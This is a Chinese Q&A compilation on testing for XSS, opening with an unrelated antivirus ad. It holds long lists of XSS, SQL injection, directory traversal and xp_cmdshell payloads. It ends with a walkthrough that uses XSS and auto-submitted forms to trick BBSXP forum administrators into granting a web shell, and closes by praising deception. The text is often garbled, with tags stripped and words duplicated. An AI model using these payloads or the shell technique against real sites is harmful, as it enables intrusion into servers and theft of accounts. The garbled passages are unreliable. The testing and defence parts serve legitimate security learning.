本文目录一览:
- 1、如何测试XSS漏洞?
- 2、如何测试XSS漏洞
- 3、发现XSS漏洞的一般做法有哪些?
- 4、如何进行WEB安全性测试
- 5、什么是XSS攻击
如何测试XSS漏洞?
试试腾讯电脑管家修复漏洞
腾讯电脑管家会根据你的系统环境智能筛选,若是发现不适用于你的系统环境的漏洞补丁也会智能忽略,将因补丁引起问题的机率较到最低。而至于磁盘空间的占用你是不用担心的,补丁备份所占用的空间并不高,你可以在清理垃圾后选择深度清理,然后选择Windows Update或自动更新数据库文件进行清理。至于系统性能,则正常情况下基本上不受影响。
打开腾讯电脑管家——工具箱——修复漏洞,进行漏洞扫描和修复。
建议设置开启自动修复漏洞功能,开启后,电脑管家可以在发现高危漏洞(仅包括高危漏洞,不包括其它漏洞)时,第一时间自动进行修复,无需用户参与,最大程度保证用户电脑安全。尤其适合老人、小孩或计算机初级水平用户使用。开启方式如下:进入电脑管家“修复漏洞”模块—“设置”,点击开启自动修复漏洞即可。腾讯电脑管家,杀毒+管理2合1,还可以自动修复漏洞:第一时间发现并修复系统存在的高危漏洞,在不打扰您的情况下自动为系统打上漏洞补丁,轻轻松松将病毒木马拒之门外。
如何测试XSS漏洞
XSS跨站漏洞分为大致三种:储存型XSS,反射型XSS,和DOM型XSS,一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的JS而产生的。XSS几乎每个网站都存在,google,百度,360等都存在,存在和危害范围广,危害安全性大。
具体利用的话:
储存型XSS,一般是构造一个比如说"scriptalert("XSS")/script"的JS的弹窗代码进行测试,看是否提交后在页面弹窗,这种储存型XSS是被写入到页面当中的,如果管理员不处理,那么将永久存在,这种XSS攻击者可以通过留言等提交方式,把恶意代码植入到服务器网站上, 一般用于盗取COOKIE获取管理员的信息和权限。
反射型XSS,一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码,例如:127.0.0.1/admin.php?key="scriptalert("xss")/script,也是弹窗JS代码。当攻击者发送一个带有XSS代码的url参数给受害者,那么受害者可能会使自己的cookie被盗取或者“弹框“,这种XSS一次性使用,危害比储存型要小很多。
dom型:常用于挖掘,是因为api代码审计不严所产生的,这种dom的XSS弹窗可利用和危害性并不是很大,大多用于钓鱼。比起存储型和反射型,DOM型并不常用。
缺点:
1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用
所以楼主如果想更加深层次的学习XSS的话,最好有扎实的前后端开发基础,还要学会代码审计等等。
推荐的话,书籍建议看看《白帽子讲web安全》,《XSS跨站脚本攻击剖析与防御》
一般配合的话,kalilinux里面的BEFF是个很著名的XSS漏洞利用工具,楼主有兴趣可以去看看。
纯手工打字,望楼主采纳。
发现XSS漏洞的一般做法有哪些?
关于发现时间,要具体到是检测什么目标了。找google的,和找腾讯的时间肯定不会一样。 至于“你们一般都是如何发现xss漏洞的?” 不同类型的XSS漏洞,可能不尽相同。
1.对于反射型XSS以及一些DOM XSS,一般建议是开发一些自动化的扫描工具进行扫描,并辅以手工分析。 另外一方面,搜索引擎也是快速寻找具有缺陷参数的好办法。
2.对于存储型XSS,
1) 对于单纯的输入-存储-输出点 的情况 (输入与输出点关系:一个地方输入,会有多个地方输出;不同地方输入,同一地方输出。绕了点 T T ...)。常规测试是正向直接输入内容,然后在输出点查看是否未过滤,当然你也可以先大胆假设输出点未过滤,反向寻找在何处进行输入,进而测试。
2)对于富文本,则需要对过滤器进行fuzz测试(人脑+自动化)了,正好乌云drops上有乌乌发了一篇:fuzzing XSS filter
3)第三类,就是一些WEB应用中所出现的DOM-存储型XSS,即输出点的无害内容,会经过js的一些dom操作变得危险(本质上和 第1点里的dom xss成因是一样的)。这一类的挖掘方法,个人觉得不太好总结。 其一,需要熟悉WEB应用的功能,其二,知道功能所对应的JS代码有哪些,其三,凭直觉猜测程序员会在哪些功能出现可能导致XSS的过滤遗忘或过滤错误(直觉是唬人的,其实就是你知道某些功能会需要某些代码实现,而这些代码常常容易出错),其四,需要有较好的代码阅读跟踪能力(JS一大坨。。还是蛮难读的.... 有些代码被混淆过,十分不易阅读,就会涉及到如何下断点进行调试的小技巧)。 我想,挖掘这一类的前提可能是需要有不错的前端开发经验,写多了,才会有足够的嗅觉。
其实吧,有时候专门去找漏洞会很累的,大什么怡情,小什么伤身,因此,我们还不如开心的敲敲代码,听听歌,静待生命中那些意外的收获。 这些收获经常来自身边的人发给你的一些事物。
最后,不论如何,基础很重要吧,内力不足,招式再多也没用,反之,草木竹石皆可为剑。
如何进行WEB安全性测试
安全性测试主要从以下方面考虑 主要从以下方面考虑: WEB 的安全性测试主要从以下方面考虑: Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如 搜索页面,登录页面,提交评论页面等等. 注 1:对 于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在FORM 和/FORM的标签中间的每一个 参数传递都有可能被利用. form id="form_search" action="/search/" method="get" div input type="text" name="q" id="search_q" value="" / input name="search" type="image" src="/media/images/site/search_btn.gif" / a href="/search/" class="30b9-9531-b0e9-1c22 fl"Gamefinder/a /div /form 注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 其 次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登 录页面的 URL 中输入 /INDEX.ASP?USERNAME=HI' OR 1=1-注 1:根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2:为什么是 OR, 以及',――是特殊的字符呢? 例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password' 如 输入 ' admin' or 1='1pwd=11,SQL 语句会变成以下:sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将 按下一个查询条件来执行. 接 下来是 OR 查询条件,OR 是一个逻辑运 算符, 在判断多个条件的时候, 只要一 个成立,则等式就成立,后面的 AND 就不再时行判断了,也就是 说我们绕过了密码 验证,我们只用用户名就可以登录. 如 输入 '--pwd=11,SQL 语 admin'-admin'-11 句会 变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查 询条件,即 username='admin',接下来的语句将按 下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验 证(注:对 ACCESS 数据库 数据库无 效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如 果 能说明存在 SQL 安 全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结 构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作 工作: 工作 转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”=!-*/()|”, 和”空格”). 屏蔽出错信息:阻止攻击者知道攻击的结果 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关 键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将 安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验 以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就 是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序 应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击 跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? !--[if !supportLists]--首先,找到带有参数传递的 URL,如 交评论,发表留言 页面等等。 登录页面,搜索页面,提 !--[if !supportLists]--其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试: scrīptalert(document.cookie)/scrīpt 注:其它的 XSS 测试语句 scrīptalert(document.cookie)/scrīpt ='scrīptalert(document.cookie)/scrīpt scrīptalert(document.cookie)/scrīpt scrīptalert(vulnerable)/scrīpt %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E scrīptalert('XSS')/scrīpt img src="javascrīpt:alert('XSS')" %0a%0ascrīptalert(\"Vulnerable\")/scrīpt.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp scrīptalert('Vulnerable');/scrīptgt scrīptalert('Vulnerable')/scrīpt ?sql_debug=1 a%5c.aspx a.jsp/scrīptalert('Vulnerable')/scrīpt a/ a?scrīptalert('Vulnerable')/scrīpt "scrīptalert('Vulnerable')/scrīpt ';exec%20master..xp_cmdshell%20'dir%20 c:%20%20c:\inetpub\wwwroot\?.txt'-- %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3ESESSION_ID={SESSION_ID}SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"XSS={()} IMG SRC="javascrīpt:alert('XSS');" IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert("XSS") IMG SRC=javascrīpt:alert('XSS') IMG SRC=javascrīpt:alert('XSS') IMG SRC="jav ascrīpt:alert('XSS');" IMG SRC="jav ascrīpt:alert('XSS');" IMG SRC="jav ascrīpt:alert('XSS');" "IMG SRC=java\0scrīpt:alert(\"XSS\")";' out IMG SRC=" javascrīpt:alert('XSS');" scrīpta=/XSS/alert(a.source)/scrīpt BODY BACKGROUND="javascrīpt:alert('XSS')" BODY ōNLOAD=alert('XSS') IMG DYNSRC="javascrīpt:alert('XSS')" IMG LOWSRC="javascrīpt:alert('XSS')" BGSOUND SRC="javascrīpt:alert('XSS');" br size="{alert('XSS')}" LAYER SRC=""/layer LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');" IMG SRC='vbscrīpt:msgbox("XSS")' IMG SRC="mocha:[code]" IMG SRC="livescrīpt:[code]" META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');" IFRAME SRC=javascrīpt:alert('XSS')/IFRAME FRAMESETFRAME SRC=javascrīpt:alert('XSS')/FRAME/FRAMESET TABLE BACKGROUND="javascrīpt:alert('XSS')" DIV STYLE="background-image: url(javascrīpt:alert('XSS'))" DIV STYLE="behaviour: url('');" DIV STYLE="width: expression(alert('XSS'));" IMG SRC=javascript:ale STYLE@im\port'\ja\vasc\ript:alert("XSS")';/STYLE IMG STYLE='xss:expre\ssion(alert("XSS"))' STYLE TYPE="text/javascrīpt"alert('XSS');/STYLE STYLE type="text/css"BODY{background:url("javascrīpt:alert('XSS')")}/STYLE BASE HREF="javascrīpt:alert('XSS');//" getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); XML SRC="javascrīpt:alert('XSS');" " BODY ōNLOAD="a();"scrīptfunction a(){alert('XSS');}/scrīpt" scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"/scrīpt IMG SRC="javascrīpt:alert('XSS')" IMG SRC="" scrīpt a="" SRC=""/scrīpt scrīpt ="" SRC=""/scrīpt scrīpt a="" '' SRC=""/scrīpt scrīpt "a=''" SRC=""/scrīpt scrīptdocument.write("SCRI");/scrīptPT SRC=""/scrīpt A HREF=;link/A STYLE TYPE="text/css".XSS{background-image:url("javascrīpt:alert('XSS')");}/STYLEA CLASS=XSS !--#exec cmd="/bin/echo 'scrīpt SRC'"--!--#exec cmd="/bin/echo '=;/scrīp 最后,当用户浏览 时便会弹出一个警告框,内容显示的是浏览者当前的 cookie 串,这就 说明该网站存在 XSS 漏洞。 试想如果我们注入的不是以上这个简单的测试代码,而是一段经常精心设计的恶意脚 本,当用户浏览此帖时,cookie 信息就可能成功的被 攻击者获取。此时浏览者的帐号 就很容易被攻击者掌控了。 (2)如何预防 XSS 漏洞? 从应用程序的角度来讲,要进行以下几项预防: 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义. 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关 键性的处理操作. 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成 XSS 检查: 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进 行验证,着重验证是否对 HTML 或脚本代码进行了转义。 执行测试过程中也应对上述项进行检查。 3.CSRF:(跨站点伪造请求) 3.CSRF:(跨站点伪造请求) CSRF:(跨站点伪造请求 CSRF 尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,并且攻击方式 几乎相左。 XSS 是利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求 来利用受信任的网站。 XSS 也好, CSRF 也好, 它的目的在于窃取用户的信息, SESSION 和 COOKIES 如 (关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG: ), (1)如何进行 CSRF 测试? 关于这个主题本人也正在研究,目前主要通过安全性测试工具来进行检查。 (2)如何预防 CSRF 漏洞? 请参见 请 参见 avoid_exposing_your_gmail_contacts.html Injection(邮件标头注入 邮件标头注入) 4.Email Header Injection(邮件标头注入) Email Header Injection:如果表单用于发送 email,表单中可能包括 “subject”输入项(邮件标题),我们要验证 subject 中应能 escape 掉“\n” 标识。 !--[if !supportLists]--!--[endif]--因为“\n”是新行,如果在 subject 中输入“hello\ncc:spamvictim@example.com”,可能会形成以 下 Subject: hello cc: spamvictim@example.com !--[if !supportLists]--!--[endif]--如果允许用户使用这样的 其它用 subject, 那他可能会给利用这个缺陷通过我们的平台给其它 户发送垃 其它 圾邮件。 Traversal(目录遍历 目录遍历) 5.Directory Traversal(目录遍历) (1)如何进行目录遍历测试? 目录遍历产生的原因是:程序中没有过滤用户输入的“../”和“./”之 类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的 任意文件。 测试方法: URL 中输入一定数量的 在 “../” “./” 验证系统是否 ESCAPE 和 , 掉了这些目录跳转符。 (2)如何预防目录遍历? 限制 Web 应用在服务器上的运行 进 行严格的输入验证,控制用户输入非法路径 messages(错误信息 错误信息) 6.exposed error messages(错误信息) (1)如何进行测试? 首 先找到一些错误页面,比如 404,或 500 页面。 验证在调试未开通过的情况下, 是否给出了友好的错误提示信息比如“你 访问的页面不存 在”等,而并非曝露一些程序代码。 (2)如何预防? 测试人员在进行需求检查时,应该对出错信息 进行详细查,比如是否给 出了出错信息,是否给出了正确的出错信息。
什么是XSS攻击
什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
然后利用下面的技术得到一个shell. [编辑本段]如何利用传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名
处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的
攻击,对于flash木马的制作,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下:
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。 [编辑本段]来自外部的跨站攻击有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论坛提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
〈body onload="javascript:document.forms[0].submit()"〉〈form
action=" " method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉
上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:
我们构造备份跨站语句如下:
或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。
当管理员打开后,会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。
总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!
好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。